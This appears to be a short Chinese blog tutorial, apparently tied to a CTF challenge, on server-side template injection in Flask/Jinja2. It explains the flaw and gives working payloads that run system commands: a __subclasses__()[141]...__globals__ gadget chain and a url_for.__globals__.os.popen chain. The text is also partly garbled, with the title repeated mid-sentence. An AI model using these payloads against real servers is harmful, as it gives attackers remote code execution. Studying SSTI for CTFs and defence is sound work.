服务端模板注入漏洞SSTI

所有用户的输入都存在风险

tempalte = "Bio:{{user.bio}}"
render(template)

数据交互Bio(user对象的bio属性)

当user.bio是正常输入时,例如:Bio:{{7*7}},那就是正常的显示输入。
当user.bio是恶意输出时,例如:Bio:{{exec(‘ls’)}},就会执行系统命令。

基于python的flask web架构做一个简单的测试。
构造payload
服务端模板注入漏洞SSTI

{{import os;os.system("id")}}

服务端模板注入漏洞SSTI

失败了,这是因为Jinja框架禁止输入import,需要绕过。服务端模板注入漏洞SSTI
可以利用Gadgets绕过。

{{
''.__class__ 	//字符串的字节码文件
.__base__		//字节码文件的基类
.__subclasses__()[141]		//继承基类的类
.__init__
.__globals__['sys']
.modules['os']
.popen("id")
.read()
}}

原理是利用python解释器里的python,
服务端模板注入漏洞SSTI
让i有我们发现__subclasses__()[141] 的warnings.catch__warnings类引入了os模块服务端模板注入漏洞SSTI
服务端模板注入漏洞SSTI

 {{
 url_for
 .__globals__
 .os
 .popen("id")
 .read()
 }}
上一篇:BUUCTF:[BJDCTF2020]The mystery of ip---------SSTI


下一篇:[BJDCTF2020]The mystery of ip(ssti模板注入题目)